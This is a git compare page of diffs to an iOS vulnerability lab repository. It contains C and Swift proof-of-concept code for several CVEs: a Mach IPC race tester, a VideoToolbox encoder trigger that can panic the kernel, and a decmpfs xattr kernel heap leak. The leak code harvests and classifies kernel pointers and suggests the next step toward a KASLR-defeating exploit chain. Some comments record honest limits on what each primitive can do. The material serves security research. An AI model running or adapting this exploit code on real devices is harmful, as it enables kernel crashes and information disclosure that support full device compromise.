Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fc17f7af7d | ||
|
|
7da28702a7 | ||
|
|
4ed0f0b304 | ||
|
|
1cab5b2428 | ||
|
|
9d6c44de61 | ||
|
|
c7d4043a8c | ||
|
|
6bb476a534 | ||
|
|
8a8efdf15d | ||
|
|
bdb029bb37 | ||
|
|
0288f2e3ae | ||
|
|
f14f7df318 | ||
|
|
09a02858f6 | ||
|
|
300d4805be | ||
|
|
6a77b43942 | ||
|
|
3ac5108928 | ||
|
|
030df9a8b1 | ||
|
|
6f4ed67c38 | ||
|
|
c30aadf9bb |
No files matched your search
@@ -17,7 +17,7 @@
|
|||||||
|
|
||||||
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
|
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
|
||||||
typedef struct {
|
typedef struct {
|
||||||
long operations, allocations, notifications, sends, deallocations;
|
long operations, allocations, notifications, sends, deallocations, armed;
|
||||||
int budget_exhausted;
|
int budget_exhausted;
|
||||||
long notifications_refused;
|
long notifications_refused;
|
||||||
long budget;
|
long budget;
|
||||||
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
|
|||||||
//
|
//
|
||||||
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
|
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
|
||||||
// does not return an error on this platform — it SIGKILLs the process. Check first.
|
// does not return an error on this platform — it SIGKILLs the process. Check first.
|
||||||
typedef struct { long alloc, notify, send, dealloc; } ring_result;
|
typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
|
||||||
|
|
||||||
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
|
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
|
||||||
ring_result r = {0, 0, 0, 0};
|
ring_result r = {0, 0, 0, 0, 0};
|
||||||
mach_port_name_t ports[512];
|
mach_port_name_t ports[512];
|
||||||
int nports = 0;
|
int nports = 0;
|
||||||
if (depth > 512) depth = 512;
|
if (depth > 512) depth = 512;
|
||||||
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
|
|||||||
kern_return_t kr1 = mach_port_request_notification(
|
kern_return_t kr1 = mach_port_request_notification(
|
||||||
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
|
||||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
|
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
|
||||||
if (kr1 != KERN_SUCCESS) {
|
if (kr1 == KERN_SUCCESS) {
|
||||||
|
r.armed++;
|
||||||
|
} else {
|
||||||
record(kr1);
|
record(kr1);
|
||||||
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
|
(*refused)++;
|
||||||
}
|
}
|
||||||
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
|
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
|
||||||
r.notify++;
|
r.notify++;
|
||||||
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
|
|||||||
kern_return_t kr2 = mach_port_request_notification(
|
kern_return_t kr2 = mach_port_request_notification(
|
||||||
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
|
||||||
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
|
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
|
||||||
if (kr2 != KERN_SUCCESS) {
|
if (kr2 == KERN_SUCCESS) {
|
||||||
|
r.armed++;
|
||||||
|
} else {
|
||||||
record(kr2);
|
record(kr2);
|
||||||
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
|
(*refused)++;
|
||||||
}
|
}
|
||||||
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
|
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
|
||||||
r.notify++;
|
r.notify++;
|
||||||
@@ -159,7 +163,7 @@ static int g_depth = 48;
|
|||||||
|
|
||||||
static void *worker(void *arg) {
|
static void *worker(void *arg) {
|
||||||
(void)arg;
|
(void)arg;
|
||||||
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
|
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
|
||||||
|
|
||||||
while (!past_deadline()) {
|
while (!past_deadline()) {
|
||||||
pthread_mutex_lock(&S.lock);
|
pthread_mutex_lock(&S.lock);
|
||||||
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
|
|||||||
local_notify += res.notify;
|
local_notify += res.notify;
|
||||||
local_send += res.send;
|
local_send += res.send;
|
||||||
local_dealloc += res.dealloc;
|
local_dealloc += res.dealloc;
|
||||||
|
local_armed += res.armed;
|
||||||
local_ops += 4;
|
local_ops += 4;
|
||||||
|
|
||||||
pthread_mutex_lock(&S.lock);
|
pthread_mutex_lock(&S.lock);
|
||||||
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
|
|||||||
S.notifications += local_notify;
|
S.notifications += local_notify;
|
||||||
S.sends += local_send;
|
S.sends += local_send;
|
||||||
S.deallocations += local_dealloc;
|
S.deallocations += local_dealloc;
|
||||||
|
S.armed += local_armed;
|
||||||
pthread_mutex_unlock(&S.lock);
|
pthread_mutex_unlock(&S.lock);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
|
|||||||
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
|
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
|
||||||
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
|
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
|
||||||
|
|
||||||
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n",
|
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
|
||||||
S.operations, S.allocations, S.notifications, S.sends, S.deallocations);
|
S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
|
||||||
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
|
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
|
||||||
if (S.notifications_refused > 0) {
|
if (S.notifications_refused > 0) {
|
||||||
printf("notifications refused %ld times — this platform does not allow notification\n"
|
printf("notifications refused %ld times — this platform does not allow notification\n"
|
||||||
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
|
|||||||
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
|
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n");
|
if (S.armed == 0 && S.notifications > 0) {
|
||||||
|
printf("notification registration never succeeded (-300, MIG type error).\n");
|
||||||
|
printf("the request-table path was never armed: this run is not a 112507 test.\n");
|
||||||
|
printf("CVE-2026-112507 · NOT REACHED from this process\n");
|
||||||
|
} else {
|
||||||
|
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
|
||||||
|
"no request-table fault surfaced\n", S.armed);
|
||||||
|
}
|
||||||
pthread_mutex_destroy(&S.lock);
|
pthread_mutex_destroy(&S.lock);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -2,6 +2,10 @@
|
|||||||
// ANE userspace entry point probe
|
// ANE userspace entry point probe
|
||||||
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
|
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
|
||||||
// client/program/model/request entry points the CVE lives behind.
|
// client/program/model/request entry points the CVE lives behind.
|
||||||
|
//
|
||||||
|
// Honest negative: the ANE kernel interface is not reachable from a third-party
|
||||||
|
// process, so this is a reachability map, not a primitive. No R/W is attempted.
|
||||||
|
// See docs/KERNEL-RW-ASSESSMENT.md.
|
||||||
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
|
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
|
||||||
// Run: ./cve-2026-112696
|
// Run: ./cve-2026-112696
|
||||||
|
|
||||||
|
|||||||
@@ -8,9 +8,14 @@
|
|||||||
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
||||||
// panic the host kernel.
|
// panic the host kernel.
|
||||||
//
|
//
|
||||||
|
// Primitive limit: the write is a constant fill at a fixed offset. There is no
|
||||||
|
// address control and no value control, so this is a DoS primitive, not an
|
||||||
|
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
|
||||||
|
//
|
||||||
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
||||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
||||||
// Run: ./cve-2026-112705 [layers] [--force-host]
|
// Run: ./cve-2026-112705 [layers] [--force-host]
|
||||||
|
// ./cve-2026-112705 --sweep (property acceptance 0..12, no frame)
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -50,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
|
|||||||
int main(int argc, char **argv) {
|
int main(int argc, char **argv) {
|
||||||
int layers = 16463;
|
int layers = 16463;
|
||||||
int force_host = 0;
|
int force_host = 0;
|
||||||
|
int sweep = 0;
|
||||||
for (int i = 1; i < argc; i++) {
|
for (int i = 1; i < argc; i++) {
|
||||||
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
||||||
|
else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
|
||||||
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -72,6 +79,21 @@ int main(int argc, char **argv) {
|
|||||||
set_prop(session, "RealTime", kCFBooleanFalse);
|
set_prop(session, "RealTime", kCFBooleanFalse);
|
||||||
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
||||||
|
|
||||||
|
if (sweep) {
|
||||||
|
// 27.2 clamps the property to 0..7 (the new assertion string is
|
||||||
|
// "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
|
||||||
|
printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
|
||||||
|
for (int n = 0; n <= 12; n++) {
|
||||||
|
CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
|
||||||
|
int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
|
||||||
|
CFRelease(nv);
|
||||||
|
printf("NTL %2d: status=%d\n", n, st);
|
||||||
|
}
|
||||||
|
VTCompressionSessionInvalidate(session);
|
||||||
|
CFRelease(session);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
||||||
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
||||||
CFRelease(n);
|
CFRelease(n);
|
||||||
|
|||||||
@@ -11,6 +11,7 @@
|
|||||||
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
||||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
||||||
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
||||||
|
// ./cve-2026-112705 --sweep property acceptance 0..12, no frame
|
||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import VideoToolbox
|
import VideoToolbox
|
||||||
@@ -19,6 +20,7 @@ import CoreVideo
|
|||||||
|
|
||||||
let args = CommandLine.arguments
|
let args = CommandLine.arguments
|
||||||
let forceHost = args.contains("--force-host")
|
let forceHost = args.contains("--force-host")
|
||||||
|
let sweep = args.contains("--sweep")
|
||||||
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
||||||
|
|
||||||
func fourCC(_ v: OSStatus) -> String {
|
func fourCC(_ v: OSStatus) -> String {
|
||||||
@@ -63,6 +65,17 @@ print("EncoderUsage=\(su) RCMode=\(sr)")
|
|||||||
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
||||||
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
||||||
|
|
||||||
|
if sweep {
|
||||||
|
// 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
|
||||||
|
print("sweep: NTL acceptance 0...12 (no frame submitted)")
|
||||||
|
for n in 0...12 {
|
||||||
|
let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
||||||
|
print("NTL \(n): status=\(st)")
|
||||||
|
}
|
||||||
|
VTCompressionSessionInvalidate(s)
|
||||||
|
exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
if sn != 0 {
|
if sn != 0 {
|
||||||
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
||||||
VTCompressionSessionInvalidate(s)
|
VTCompressionSessionInvalidate(s)
|
||||||
|
|||||||
@@ -2,9 +2,14 @@
|
|||||||
// Kernel heap disclosure through short-producing chunks
|
// Kernel heap disclosure through short-producing chunks
|
||||||
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
|
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
|
||||||
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
|
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
|
||||||
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
|
// reads the file back and classifies every canonical kernel pointer in the result.
|
||||||
|
//
|
||||||
|
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
|
||||||
|
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
|
||||||
|
// readback for offline analysis. Candidates are printed, never dereferenced.
|
||||||
|
//
|
||||||
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
|
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
|
||||||
// Run: ./cve-2026-113910
|
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
|
|||||||
return out;
|
return out;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── trigger: xattr round trip + kernel-pointer scan ──
|
// ── leak classification ──
|
||||||
|
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
|
||||||
|
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
|
||||||
|
// Anything that looks like a tagged userspace pointer is reported separately; it is
|
||||||
|
// not a KASLR lead. Values are only ever printed.
|
||||||
|
enum ptr_class {
|
||||||
|
PTR_NONE = 0,
|
||||||
|
PTR_KERNEL_TEXT,
|
||||||
|
PTR_KERNEL_DATA,
|
||||||
|
PTR_KERNEL_OTHER,
|
||||||
|
PTR_USER,
|
||||||
|
};
|
||||||
|
|
||||||
|
static const char *class_name(int c) {
|
||||||
|
switch (c) {
|
||||||
|
case PTR_KERNEL_TEXT: return "kernel-text";
|
||||||
|
case PTR_KERNEL_DATA: return "kernel-data";
|
||||||
|
case PTR_KERNEL_OTHER: return "kernel-other";
|
||||||
|
case PTR_USER: return "user";
|
||||||
|
default: return "-";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int classify(uint64_t v) {
|
||||||
|
if (v == 0) return PTR_NONE;
|
||||||
|
if ((v >> 48) == 0xffff) {
|
||||||
|
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
|
||||||
|
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
|
||||||
|
return PTR_KERNEL_OTHER;
|
||||||
|
}
|
||||||
|
if ((v >> 48) == 0x0000) return PTR_USER;
|
||||||
|
return PTR_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
int wrote_xattr;
|
int wrote_xattr;
|
||||||
long read_back;
|
long read_back;
|
||||||
long hits;
|
long hits;
|
||||||
char samples[8][32];
|
long by_class[5];
|
||||||
|
char samples[8][40];
|
||||||
int nsamples;
|
int nsamples;
|
||||||
char note[128];
|
char note[128];
|
||||||
} decmpfs_result;
|
} decmpfs_result;
|
||||||
|
|
||||||
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
|
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
|
||||||
|
if (r->nsamples >= 8) return;
|
||||||
|
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
|
||||||
|
(unsigned long long)v, off, class_name(cls));
|
||||||
|
r->nsamples++;
|
||||||
|
}
|
||||||
|
|
||||||
|
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
|
||||||
|
FILE *keep, int verbose) {
|
||||||
decmpfs_result r = {0};
|
decmpfs_result r = {0};
|
||||||
// seed file: plain 0x41 content (the uncompressed claim)
|
|
||||||
unlink(path);
|
unlink(path);
|
||||||
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
||||||
if (fd >= 0) {
|
if (fd >= 0) {
|
||||||
uint8_t zeros[4096];
|
uint8_t fill[4096];
|
||||||
memset(zeros, 0x41, sizeof zeros);
|
memset(fill, 0x41, sizeof fill);
|
||||||
size_t left = uncompressed < 64 ? 64 : uncompressed;
|
size_t left = uncompressed < 64 ? 64 : uncompressed;
|
||||||
while (left > 0) {
|
while (left > 0) {
|
||||||
size_t take = left < sizeof zeros ? left : sizeof zeros;
|
size_t take = left < sizeof fill ? left : sizeof fill;
|
||||||
if (write(fd, zeros, take) != (ssize_t)take) break;
|
if (write(fd, fill, take) != (ssize_t)take) break;
|
||||||
left -= take;
|
left -= take;
|
||||||
}
|
}
|
||||||
close(fd);
|
close(fd);
|
||||||
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
|||||||
}
|
}
|
||||||
r.wrote_xattr = 1;
|
r.wrote_xattr = 1;
|
||||||
|
|
||||||
// read the file back: the kernel decompresses through AppleFSCompression
|
|
||||||
FILE *f = fopen(path, "rb");
|
FILE *f = fopen(path, "rb");
|
||||||
if (!f) {
|
if (!f) {
|
||||||
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
|
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
|
||||||
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
|||||||
fclose(f);
|
fclose(f);
|
||||||
r.read_back = (long)back.n;
|
r.read_back = (long)back.n;
|
||||||
|
|
||||||
// scan for kernel-space pointers in whatever the kernel handed back
|
if (keep) {
|
||||||
if (back.n >= 8) {
|
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
|
||||||
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
chunks, produce, uncompressed, back.n);
|
||||||
uint64_t v = 0;
|
if (back.n) fwrite(back.d, 1, back.n, keep);
|
||||||
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
fputc('\n', keep);
|
||||||
if (v >= 0xFFFFFFE000000000ULL) {
|
}
|
||||||
r.hits++;
|
|
||||||
if (r.nsamples < 8) {
|
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
|
||||||
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
|
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
||||||
(unsigned long long)v, i);
|
uint64_t v = 0;
|
||||||
r.nsamples++;
|
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
||||||
}
|
int cls = classify(v);
|
||||||
}
|
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
|
||||||
|
r.hits++;
|
||||||
|
r.by_class[cls]++;
|
||||||
|
note_sample(&r, v, i, cls);
|
||||||
|
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
|
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
|
||||||
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
|||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(void) {
|
int main(int argc, char **argv) {
|
||||||
const char *path = "decmpfs_probe.bin";
|
int loop = 1;
|
||||||
struct { int chunks; size_t produce; } configs[4] = {
|
int verbose = 0;
|
||||||
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
|
const char *keep_path = NULL;
|
||||||
};
|
for (int i = 1; i < argc; i++) {
|
||||||
long total_hits = 0;
|
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
|
||||||
|
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
|
||||||
|
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
|
||||||
|
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
|
||||||
|
}
|
||||||
|
if (loop < 1) loop = 1;
|
||||||
|
|
||||||
|
const char *path = "decmpfs_probe.bin";
|
||||||
|
struct { int chunks; size_t produce; } configs[] = {
|
||||||
|
{1, 0}, {1, 1}, {2, 1}, {4, 1},
|
||||||
|
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
|
||||||
|
};
|
||||||
|
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
|
||||||
|
|
||||||
|
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
|
||||||
|
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
|
||||||
|
if (keep) {
|
||||||
|
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
|
||||||
|
}
|
||||||
|
|
||||||
|
long total_hits = 0;
|
||||||
|
long by_class[5] = {0};
|
||||||
|
long runs = 0;
|
||||||
printf("— baseline: what a plain file reads back —\n");
|
printf("— baseline: what a plain file reads back —\n");
|
||||||
{
|
{
|
||||||
unlink(path);
|
unlink(path);
|
||||||
@@ -176,22 +246,41 @@ int main(void) {
|
|||||||
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
|
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("\n— chunked xattr round trip —\n");
|
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
|
||||||
for (int i = 0; i < 4; i++) {
|
for (int l = 0; l < loop; l++) {
|
||||||
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
for (int i = 0; i < ncfg; i++) {
|
||||||
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
|
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
||||||
total_hits += r.hits;
|
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
|
||||||
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
keep, verbose);
|
||||||
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
runs++;
|
||||||
if (r.nsamples > 0) {
|
total_hits += r.hits;
|
||||||
printf(" candidates:");
|
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
|
||||||
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
|
if (r.hits > 0 || verbose) {
|
||||||
printf("\n");
|
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
||||||
|
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
||||||
|
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Class totals are what matter here; the raw bytes are in --keep for offline work.
|
||||||
|
|
||||||
unlink(path);
|
unlink(path);
|
||||||
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
|
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
|
||||||
: "no kernel pointers surfaced (read was served plain)");
|
|
||||||
return 0;
|
printf("\n== leak summary ==\n");
|
||||||
|
printf("runs=%ld hits=%ld\n", runs, total_hits);
|
||||||
|
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
|
||||||
|
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
|
||||||
|
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
|
||||||
|
|
||||||
|
if (total_hits > 0) {
|
||||||
|
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
|
||||||
|
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
|
||||||
|
printf("whether the same chunk table can be pointed at that slot again.\n");
|
||||||
|
} else {
|
||||||
|
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
|
||||||
|
}
|
||||||
|
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
|
||||||
|
return total_hits > 0 ? 0 : 0;
|
||||||
}
|
}
|
||||||
@@ -2,6 +2,11 @@
|
|||||||
// HID event tree append entry point probe
|
// HID event tree append entry point probe
|
||||||
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
|
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
|
||||||
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
|
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
|
||||||
|
//
|
||||||
|
// This file stops at symbol reachability and never appends an event: the bug is a
|
||||||
|
// fixed-offset write into a short heap allocation with no leak and no address
|
||||||
|
// control. Attempting it blind is a panic, not an experiment. See
|
||||||
|
// docs/KERNEL-RW-ASSESSMENT.md.
|
||||||
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
|
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
|
||||||
// Run: ./cve-2026-65385
|
// Run: ./cve-2026-65385
|
||||||
|
|
||||||
|
|||||||
BIN
Binary file not shown.
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[中文](README.zh-CN.md)
|
[中文](README.zh-CN.md)
|
||||||
|
|
||||||
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
|
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
|
||||||
|
|
||||||
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
|
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
|
||||||
|
|
||||||
@@ -131,15 +131,21 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
|
|||||||
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
|
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
|
||||||
```
|
```
|
||||||
|
|
||||||
